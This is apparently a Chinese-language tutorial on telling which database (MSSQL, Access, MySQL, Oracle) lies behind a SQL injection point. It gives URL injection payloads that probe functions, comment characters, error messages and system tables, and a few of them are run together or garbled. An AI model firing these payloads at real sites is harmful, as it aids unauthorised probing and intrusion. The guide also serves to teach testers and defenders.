0x00、常用資料庫
常見的資料庫Oracle、MySQL、SQL Server、Access、MSsql、mongodb等。
關系型資料庫通過外鍵關聯來建立表與表之間的關系,非關系型資料庫通常指資料以對象的形式存儲在資料庫中,而對象之間的關系通過每個對象自身的屬性來決定。
關系型資料庫:由二維表及其之間的聯系組成的一個資料組織。如:Oracle、DB2、MySql。
非關系型資料庫:非關系型資料庫産品是傳統關系型資料庫的功能閹割版本,通過減少用不到或很少用的功能,來大幅度提高産品性能。如:NoSql、Cloudant。
0x01、判斷sql注入資料庫類型方法
1.是否可以使用該資料庫特有的特定的函數來判斷。
2.是否可以使用輔助的符号來判斷,如注釋符号、多語句查詢符等。
3.是否可以編碼查詢。
4.是否可以利用報錯資訊。
5.是否存在資料庫某些特性輔助判斷。
6.是否存在資料庫獨有的表名,庫名。
7.通過一些建站和實戰的經驗。
0x02、基于特定函數的判斷
len和length
在mssql和mysql以及db2内,傳回長度值是調用len()函數;在oracle和INFORMIX則是通過length()來傳回長度值。
當你使用and len('a')=1的時候,傳回正常頁面時,可以推斷目前的資料庫類型可能是mssql,或mysql,或是db2。反之則可能會是oracle和informix。
@@version和version()
在mysql内,可以用@@version或是version()來傳回目前的版本資訊。但無法判斷是mysql還是mssql時,可以用version()函數來構造判斷。
version()>1 傳回與@@version>1 相同頁面時,則可能是mysql。如果出現提示version()錯誤時,則可能是mssql。
substring和substr
在mssql中可以調用substring。oracle則隻可調用substr。
0x03、基于輔助的符号判斷
“/*”是MySQL中的注釋符,傳回錯誤說明該注入點不是MySQL,繼續送出如下查詢字元:
“--”是Oracle和MSSQL支援的注釋符,如果傳回正常,則說明為這兩種資料庫類型之一。繼續送出如下查詢字元:
“;”是子句查詢辨別符,Oracle不支援多行查詢,是以如果傳回錯誤,則說明很可能是Oracle資料庫。
有時利用--和# 這兩個注釋符号也可以大緻的确認資料庫類型,因為MSSQL是--,而MYSQL是#,ACCESS不支援注釋。
HTTP://xxx.xxx.xxx/abc.asp?p=YY-- 異常
HTTP://xxx.xxx.xxx/abc.asp?p=YY# 正常
那麼資料庫有可能就是MYSQL或者ACCESS。
在注入點後加(必須為注入點);--(一個分号,兩個橫線),例如:
http://xxxx/article/as.asp?id=1;--。如果傳回正常的話,說明資料庫是MSSQL。在MSSQL資料庫中;和--都是存在的,;用來分離兩個語句,而--就是注釋符,它後面語句都不執行。如果傳回錯誤,基本可以肯定是ACCESS資料庫了。
0x04、利用資料庫伺服器的系統變量進行區分
SQL-SERVER有user,db_name()等系統變量,利用這些系統值不僅可以判斷SQL-SERVER,而且還可以得到大量有用資訊。如:
HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 出錯時報的錯可能就包含了MSSQL的資訊
如:Microsoft OLE DB Provider for SQL Server error '80040e07'
不僅可以判斷是否是SQL-SERVER,而還可以得到目前連接配接到資料庫的使用者名
0x05、基于顯示錯誤資訊判斷
在注入點後直接加上單引号,根據伺服器的報錯資訊來判斷資料庫。錯誤提示Microsoft JET Database Engine 錯誤 '80040e14',說明是通過JET引擎連接配接資料庫,則表明資料庫為ACCESS資料庫,如果是ODBC的話則說明是MSSQL資料庫。
0x06、利用系統表
ACCESS的系統表是msysobjects,且在WEB環境下沒有通路權限,而SQL-SERVER的系統表是sysobjects,在WEB環境下有通路權限。對于以下兩條語句:
①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0
若資料庫是SQL-SERVER,則第一條,abc.asp一定運作正常,第二條則異常;
若是ACCESS則兩條都會異常。
and exists (select count(*) from sysobjects)
and exists (select count(*) from msysobjects)
如果第一條傳回正常,就是MSSQL資料庫,如果兩條都不正常,那就是ACCESS資料庫了。
第一句意思是查詢sysobjects表裡記錄數大于,傳回正常的,說明大于0且存在sysobjects這個表,因為這個表隻有MSSQL資料庫才有,是以可以判斷為MSSQL資料庫。傳回錯誤則表示不是。
第二句送出是不會傳回正常頁面的,就算是ACCESS資料庫也不會傳回正常。因為預設情況下我們沒有權限查詢這個表裡的資料。WEB會提示我們“記錄無法讀取;'msysobjects'沒有讀取權限”,如果傳回的是這個錯誤資訊的話,那就證明是ACCESS資料庫了
以上參數都是int的時候,如果是字元型的話首先在參數後面加上單引号,然後再在查詢語句後加上;--
以下列舉了一些資料庫的特征,歡迎補充
SQLSERVER:
ID=1 and (select count (*) from sysobjects)>0傳回正常
ID=1 and (select count (*) from msysobjects)>0傳回異常
ID=1 and left(version(),1)= 5%23ID=1 and exists(select id fromsysobjects)
ID=1 and length(user)>0ID=1 CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
ACCESS:
ID=1 and (select count (*) from sysobjects)>0傳回異常
ID=1 and (select count (*) from msysobjects)>0傳回異常
MYSQL:
id=2 and version()>0傳回正常
id=2 and length(user())>0id=2 CHAR(97, 110, 100, 32, 49, 61, 49)
ORACLE:
ID=1 and '1'||'1'='11
ID=1 and 0<>(select count(*) from dual)
ID=1 CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
0x07、根據經驗來判斷
asp中小型網站一般是Access做資料庫,大型網站可能會用SQL Server;
ASP.NET的網站一般以SQL Server居多;
PHP的網站會用MySql;
JSP的網站會用SQL Server或Oracle!
0x08、參考連結
https://www.jianshu.com/p/e308d96e2ecd